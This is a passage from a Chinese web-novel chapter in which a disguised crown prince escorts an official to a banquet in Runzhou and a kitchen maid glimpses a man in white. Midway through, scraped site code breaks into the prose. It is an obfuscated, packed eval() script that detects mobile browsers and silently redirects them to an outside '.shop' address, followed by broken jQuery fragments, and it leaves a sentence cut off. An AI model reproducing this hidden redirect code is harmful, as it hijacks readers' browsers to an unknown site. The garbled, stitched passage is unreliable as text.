梢公身后，一个江浪翻上船头，众人皆瞧见。


    除了林元舆，其他人既是头回来江南，也是头回见翻江，袁未罗被唬得举手挥舞：“那、那快摆去岸边！”


    女使紧张咬唇，林元舆也有停船的意思，余光去眺柳湛的指示，蒋望回却突地冷问：“几时才会天晴？”


    “啊？”梢公楞了一下，问他吗？


    蒋望回两眼牢牢锁住梢公双目，咄咄追问：“你说停船，那几时才能天晴，才得重行？”


    要是别的主顾，梢公张嘴就编个快了一会就放晴，但蒋望回生得高大，脸又严肃，梢公心生畏惧，不敢胡诌。


    蒋望回转头，似看向林元舆，亦是望向柳湛那边：“若这雨三日七日不停，岂不要停三日、七日？那何年何月才能到扬州？”


    无人回应。


    舱内安静了一会，袁未罗突然清脆反问：“不靠岸万一浪太大船翻了怎么办？”


    蒋望回垂眸：“昼夜行程，耽误不得。”


    须臾，柳湛轻轻扯了下嘴角。


    一直散淡听着，仿若旁观者的他不紧不慢挑起眼皮：“希颜何故如此坚持？”


    蒋望回眉目骤地绷紧，紧抿着唇一言不发。


    柳湛大事未酬，可不想葬身鱼腹。他转朝林元舆躬身，姿态谦卑：“员外，‘善泳者溺，平地覆舟’，以小底之见，还是小心谨慎为妙。”


    林元舆忙应：“是、是，所言极是。”


    催促梢公往岸边摇橹。


    西津渡附近皆是码头，因着方才蒋望回异议，梢公怕主顾再不满，会克扣尾款，专拣了那一处最奢华的水榭码头停靠。


    风雨连廊，灯火通明，一不侵风雨，二不怕昏天暗地，连廊直通码头茶肆，茶博士提壶献茶，暖意浓浓。


    美中不足也仅是肆里谈生意的市头多，有些聒噪。


    半晌不见泼天雨变小，又一艘新船靠上水榭，下来二位老者，仆从簇拥。


    老者们进茶肆后习惯环视，目光很快落在林元舆身上，疾步走近：“林公？可是林公？”


    煌煌灯下，林元舆也认出来，二人是从前御史台的同僚，致仕前朝夕相伴。


    林元舆起身，笑唤二人表字，又邀同桌：“你俩怎么到润州来？”


    记得二人归乡时，回的原籍苏州。


    “胡忠恕今日做伞宴，请了我俩。”二人已至桌前，原来柳湛、蒋望回皆和林元舆同坐桌边。柳湛动了动眸，起身似要给来客让人，惊得林元舆眼皮一跳，启唇尚未开口，柳湛已绕到他身后站定。


    蒋望回也跟着如此。


    林元舆只得阖唇崩面。


    二位致仕的大人不明就里，扫了柳湛和蒋望回各一眼就撩袍坐下，当中一人开口：“胡兄要晓得您在润州，肯定也会请您的。”


    另一人亦道：“是啊！胡兄的寿宴，林公您又恰好在润州。来得早不如来得巧，不如同去？”


    林元舆忆往昔，胡忠恕长十二岁，早一年升的御史使，当年处处压自己一级，也曾尊兄。


    时光荏苒，不仅满头乌发之人年至耄耋，他也终于升到胡忠恕这辈子都没做到的品阶了。


    林元舆心中迫切想去，却又恐太子不肯，自己擅自做主，惹恼太子，便不流露丝毫急切意，反而犯难道：“这……御史台一别，老夫与胡兄已有多年未见，甚是想念，只是……”林元舆偷瞥柳湛，见他面色恬淡，并无反应，只得继续说下去：“只是此番知晓匆忙，老夫恰好有事在身，恐怕就……”


    林元舆一句一顿，语速极慢，可都说到这了，柳湛仍无表态，面上恬淡，也揣测不了态度，反倒是林元舆那两同僚，一直在怂恿催促：“林公——您就不要推辞了！”


    “林公，去吧！”


    “走走，咱们同去！”


    声声仿若炙火，烤得林元舆似热锅蚂蚁，焦急如焚，他忍不住侧身看向柳湛，一看再看，不会真去不成了吧？就在这时柳湛与他目光对上，微微一笑，躬身附到林元舆耳边，但二同僚也听得见：“员外，咱们的船一时半会，恐还难开。”


    “那是老天爷都要留您在润州啊！”同僚们咋呼起来，“这伞宴您去定了！”


    “好、好。”林元舆方才撩起嘴角：“那……只能恭敬不如从命了。”


    二同僚等的就是这句话，便在茶馆闲聊叙旧，只待雨小动身。期间茶博士忙碌，袁未罗帮着续了两回茶，柳湛和蒋望回始终立在林元舆身后。


    午后雨停，晴空气清。


    林元舆下江南随身带着体己物，里头恰好有只龟鹤佩玉，可作寿礼。又与二同僚一到去盆景铺子里挑了盆老干虬枝的青松，搭在一起送。


    从景铺出来，一列候着数辆马车。


    主仆次序，林元舆与二同僚乘中间那辆。马蹄哒哒，宝厢摇晃，车驶出去会，二同僚才在闲谈中不经意问起：“林公，跟着你的那俩后生都是家中长随？”


    中丞大人的仆从男俊女美，尤其那白袍男子，金相玉质，茶肆中鹤立鸡群，盆景铺子里搬个青松也能搬出器宇不凡。


    二同僚致仕得早，彼时柳湛还只是孩童，且他相貌肖皇后不肖官家，二人万万不会联系上。


    “不是。”林元舆笑道，“他们是我在金陵雇的护院。”


    提及柳湛，言语间总有些虚，此番南巡，虽然奉官家旨意，但眼下太子才算顶头上司。刚才自己那一出小聪明，不知太子恼没恼？有没有觉得倚事逼人？


    林元舆才能平庸，混了四十年官场才将将出头，方才急着去伞宴显摆，冲动脑热，现在事成了，冷静下来，却又生出一股懊悔、后怕和忐忑。


    又想，待会同太子道谢时，多多讨好，可能弥补？


    同僚不知，恍然大悟道：“难怪了！习武之人看起来就是不一样！”


    仨人又扯些旁的话，刻把钟后，抵达胡府。


    叩门时便有人进去通传。众人才跨入前院，将上小桥，便逢见亲自迎出来的胡忠恕。


    白墙飞檐，亭外清池，胡忠恕躬身作揖：“朽不知林公亲到，有失远迎。”


    “奉廉兄不必客气。”林元舆捋须含笑，亲唤胡忠恕的表字，另外二位同僚亦上前叙旧。不多时，胡忠恕便向林元舆引荐身后长子，现做润州刑狱提点的胡瑜。


    林元舆频频点头，笑道后生可畏。


    胡忠恕继而侧身又引荐第二位，林元舆抢先笑问：“这位可是家中次子？”


    胡忠恕这一生最大的遗憾就是子嗣缘薄，三代单传。林元舆不可能没听过，但很可能听过就忘记。胡忠恕并不戳破，面上笑意不减：“这位是廉儿，我们家阿瑜挚友，上学时便伴作一处，老朽看着长大，也算半个儿。”


    话音刚落，那人便朝林元舆拜道：“淮扬东路茶盐司提举杨廉，见过中丞大人。”


    接下来，拥簇胡忠恕前来的亲友个个争在林元舆面前露脸。林公身后一班“随侍”里，柳湛阖唇转眸，无趣眺向旁处，垒叠湖石如花窗般漏景，曲栏回廊边一树玉兰含苞，美如画卷。


    忽闻欢声笑语，一众女使穿过回廊，画卷瞬间流动起来。


    柳湛漠然收回目光。


    女使们奉命去取果品，院中笑声远了，后厨却热闹起来。


    酥油鲍螺要熬、滤、漉、掇、印，专做果子的厨娘边转边挤，女使们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133843|149997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倚门框述说院中见闻，衙内俊，提举雅，还有那些个世家公子，个个人中龙凤。


    厨娘们来了兴趣，有两位厨娘是常来胡家帮厨的，熟些也大胆些，追问哪家公子长得最好看？


    “那当然是我们衙内了！”


    “我觉得杨提举也不赖。”


    各有所好，众说纷纭，当中有位年岁梢长的女使忽然提高嗓门：“其实你们都没注意，贵客身后那俩长随更好看些，尤其那个穿白衣服的！”


    惊鸿一瞥，便将大公子和杨提举都比下去。


    “啧——你竟留心长随！”众女使哄笑。


    发言的女使扯了下嘴角，也笑余下的人，皆是些不清白的。达官贵人留心了又如何？不是她们这些为奴为婢的可以奢想，什么锅盖配什么锅，女使配长随，这才是正经好归宿。


    一厨娘将鹌子过油，炸声噼啪，说了几遍其他人才听清：“唉——说得天花乱坠，待会我们有机会见着你们说的这些官人吗？”


    “就是，百闻不如一见！”


    “能啊！后厨不也有一桌么？”


    润州风俗，筵席会留一桌给帮厨。


    “哼，又诓我！”厨娘们却清楚，等她们忙完能上桌吃的时候，宾客已经走得七七八八，哪里还瞧得见神仙公子？


    众女呛来斗去，七搭八扯，调侃前院的美梦，唯独萍萍始终沉默，低头和面。


    “萍萍！”掌勺留意。


    萍萍抬头，沾满面粉的手依旧揉着，嘴角旋起，冲大家一笑。


    “你怎么不说话了？”方才聊别的时还挺积极的，怎么议论这个就哑巴了？


    “害臊啦？”另一厨娘打趣。


    “没有没有。”萍萍摇头，先敛容严肃，继又重泛笑意，现出酒窝：“我成亲了，有官人的。”


    她心里只有自己的夫君，所以对她们说的别的男人都不感兴趣。


    起哄声四起。


    有厨娘凑过来搭上萍萍肩膀，让她说说自家官人是怎样迷得她痴心一片的？


    虽然记忆里始终只有那几画面，萍萍却有份踏实的笃定：“他待我好。”


    世上再找不到比官人待她更好的人。


    众厨娘女使顿时全围过来，上下左右扳着萍萍看，萍萍算是个大方人，此刻也被看得面红耳赤。


    好在众人有度，打趣一会就各忙各的了，厨娘制膳，女使们端着果子离开。


    萍萍这边，上过一回汤饼，刻把钟，有些宾客想吃第二碗，女使又过来补。


    刻把钟后，那女使气喘吁吁再来：“萍萍，还要再下两碗。”


    “好咧！”萍萍掀开锅盖再下，沸水的热气蹿起，眼前一片氤氲。


    胡家仆从不算少，但今日不仅宾客比预料多，百姓也来府门口讨彩头，一时间人手不够，女使等不得：“待会我要是忙不过来没来取，你帮我端过来！”


    “好！”萍萍透过雾气望去时，女使已跑得不见踪影。


    能帮则帮，她下好汤饼，找了个盘子端过去。


    伞宴吃了这么久，天色渐晚，但因为花光满路，箫鼓喧空，仍然好找路，萍萍穿抄手游廊，过三重垂花门就到院中。


    瓶花果碟、珍馐酒盏，萍萍私下寻到刚来传话的女使，问是哪两位还要添汤饼？


    “我端过去吧。”女使顺手接过檀盘，往右走。萍萍搓手转身，打算原路退下，脑袋随之左转，无意间扫见某桌边一抹荼白——那人正好侧对着她，露出半边脸。临座的少年扭着身子找那人说话，转眼就把人挡住。


    惊鸿一瞥。


    萍萍却倏地定住，身体发冷，胸.脯和双手都不自觉震颤。